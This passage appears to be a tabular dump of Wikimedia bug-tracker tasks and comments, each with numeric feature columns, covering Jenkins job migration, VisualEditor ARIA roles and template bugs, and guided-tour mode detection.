**URL**: https://en.wikipedia.org/w/index.php?title=Pgeezy&curid=38061582&diff=561709972&oldid=561568473",High,80.0,1372274040,1373518136.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hjnunyjomlrvhkq4oiqo,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.526315789473684,0.6666666666666666,"Link shows a diff made post-deploy doing (what happened to be white-space only) normalisation in two templates (that weren't touched). :-(

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
253486,VisualEditor: Yet another dirty-DOM on basic templates,After today's deployment this now appears to have been fixed. Marking as such.,,,1373518136,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hjnunyjomlrvhkq4oiqo,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.125,0.9375,After today's deployment this now appears to have been fixed. Marking as such.
52228,Jenkins: migrate all jobs from master to slaves,"I want to get rid of jobs on the master instance and have them all on slaves.  Master is currently gallium.wikimedia.org which also have a slave installed on it and named 'gallium'.

This is a tracking bug.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1372254540,1373287838.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-vvu5ucedidqohifits2s,task_description,resolved,True,c1,2,True,False,True,-1,,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,3.921875,0.703125,"I want to get rid of jobs on the master instance and have them all on slaves.  Master is currently gallium.wikimedia.org which also have a slave installed on it and named 'gallium'.

This is a tracking bug.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
513032,Jenkins: migrate all jobs from master to slaves,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343629,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
252139,Jenkins: migrate all jobs from master to slaves,Marked master has being down.  People should use the 'gallium' slave to tie jobs to that server or they could use a label.,,,1373287838,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,Marked master has being down.  People should use the 'gallium' slave to tie jobs to that server or they could use a label.
252135,Jenkins: migrate all jobs from master to slaves,"https://integration.wikimedia.org/ci/computer/(master)/

Master (the master Jenkins node)
Projects tied to master
None

\O/

I guess we can now remove master as an executor.",,,1373031852,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,"URL

Master (the master Jenkins node)
Projects tied to master
None

\O/

I guess we can now remove master as an executor."
252130,Jenkins: migrate all jobs from master to slaves,Reduced number of executor on master from 4 to 2.  There are only the qunit jobs left there (bug 50231).,,,1372425380,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.96,Reduced number of executor on master from 4 to 2.  There are only the qunit jobs left there (bug 50231).
252124,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/71006 migrated the wikibase jobs:

mwext-Wikibase-client-tests
mwext-Wikibase-repo-tests",,,1372422296,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,0.6363636363636364,"GERRIT_URL migrated the wikibase jobs:

mwext-Wikibase-client-tests
mwext-Wikibase-repo-tests"
252119,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/71000/ migrates mediawiki regression jobs

mediawiki-core-regression-REL1_19
mediawiki-core-regression-REL1_20
mediawiki-core-regression-REL1_21
mediawiki-core-regression-master",,,1372415240,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.594594594594595,0.35135135135135137,"URL migrates mediawiki regression jobs

mediawiki-core-regression-REL1_19
mediawiki-core-regression-REL1_20
mediawiki-core-regression-REL1_21
mediawiki-core-regression-master"
252114,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/70999/ migrates some doc jobs:


mediawiki-core-doxygen-publish
mediawiki-core-jsduck-publish
mwext-VisualEditor-doc-publish
operations-puppet-doc (bug 50233)",,,1372413785,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.725,0.55,"URL migrates some doc jobs:


mediawiki-core-doxygen-publish
mediawiki-core-jsduck-publish
mwext-VisualEditor-doc-publish
operations-puppet-doc (bug 50233)"
252108,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/70917/ updated jobs:

mediawiki-core-phpunit-api
mediawiki-core-phpunit-databaseless
mediawiki-core-phpunit-misc
mediawiki-core-phpunit-parser",,,1372366694,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8055555555555554,0.3888888888888889,"URL updated jobs:

mediawiki-core-phpunit-api
mediawiki-core-phpunit-databaseless
mediawiki-core-phpunit-misc
mediawiki-core-phpunit-parser"
252101,Jenkins: migrate all jobs from master to slaves,List of tied jobs is available at https://integration.wikimedia.org/ci/computer/(master)/  That list needs to shrink to 0 elements.,,,1372254654,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,List of tied jobs is available at URL  That list needs to shrink to 0 elements.
52203,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","e.g. ""menuitem"" for options in our select widgets.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1372205340,1406079764.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-u2ls26f436dp4ls4xqnj,task_description,resolved,True,c1,2,True,False,False,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.137931034482759,0.6551724137931034,"e.g. ""menuitem"" for options in our select widgets.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
250562,"VisualEditor: Add ""role"" attributes to UI elements where appropriate",Looks fine from my POV.,,,1406079764,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,Looks fine from my POV.
250554,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Anything left to do here, Timo/James?",,,1406066234,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,55,,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Anything left to do here, Timo/James?"
250545,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Change 148253 merged by jenkins-bot:
Add role attribute to a few widgets

https://gerrit.wikimedia.org/r/148253",,,1406065761,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,False,,,55,,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,"Change 148253 merged by jenkins-bot:
Add role attribute to a few widgets

GERRIT_URL"
250537,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Change 148253 had a related patch set uploaded by Alex Monk:
Add role attribute to a few widgets

https://gerrit.wikimedia.org/r/148253",,,1405981742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,False,,,55,,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Change 148253 had a related patch set uploaded by Alex Monk:
Add role attribute to a few widgets

GERRIT_URL"
250528,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Most of this has already been done in OOUI, I think.",,,1405702134,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.230769230769231,1.0,"Most of this has already been done in OOUI, I think."
52186,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**Author:** `swalling`

**Description:**
This tour step should only be shown in read mode.

When starting the guided tour via the ""Show help"" help button with GettingStarted, guided tours thinks I am in read mode and displays broken steps, rather than skipping to the appropriate editing steps.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11708}",High,80.0,1372184520,1374192392.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-x646ub2izdkijgiiwrz2,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,2.0,13.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7472527472527473,0.5934065934065934,"**Author:** CODE

**Description:**
This tour step should only be shown in read mode.

When starting the guided tour via the ""Show help"" help button with GettingStarted, guided tours thinks I am in read mode and displays broken steps, rather than skipping to the appropriate editing steps.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11708}"
249763,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72682 merged by jenkins-bot:
Add tour for VisualEditor

https://gerrit.wikimedia.org/r/72682",,,1374178920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 72682 merged by jenkins-bot:
Add tour for VisualEditor

GERRIT_URL"
249757,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72677 merged by Ori.livneh:
Add support for VisualEditor

https://gerrit.wikimedia.org/r/72677",,,1374165359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.230769230769231,1.0,"Change 72677 merged by Ori.livneh:
Add support for VisualEditor

GERRIT_URL"
249751,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**swalling** wrote:

(In reply to comment #5)
> I fixed the issue where step 1 was shown when clicked ""Show help"" while in VE
> editor, on a page with an ambox.  That's on toro for testing.

Tested and working for me on toro. Once the patches are merged I think we can call this one fixed.",,,1374017584,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,12.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0930232558139537,0.8372093023255814,"**swalling** wrote:

(In reply to comment #5)
QUOTE
QUOTE

Tested and working for me on toro. Once the patches are merged I think we can call this one fixed."
249746,Guided tours cannot distinguish between read and edit modes with VisualEditor,"I fixed the issue where step 1 was shown when clicked ""Show help"" while in VE editor, on a page with an ambox.  That's on toro for testing.",,,1373361751,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,3.0,11.0,9.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,6.0,0.0,6.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2,0.9142857142857143,"I fixed the issue where step 1 was shown when clicked ""Show help"" while in VE editor, on a page with an ambox.  That's on toro for testing."
249741,Guided tours cannot distinguish between read and edit modes with VisualEditor,"This should be fixed by https://gerrit.wikimedia.org/r/#/c/72677/ and https://gerrit.wikimedia.org/r/#/c/72682/, pending review.",,,1373340182,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,This should be fixed by URL and URL pending review.
249736,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72682 had a related patch set uploaded by Mattflaschen:
Add tour for VisualEditor

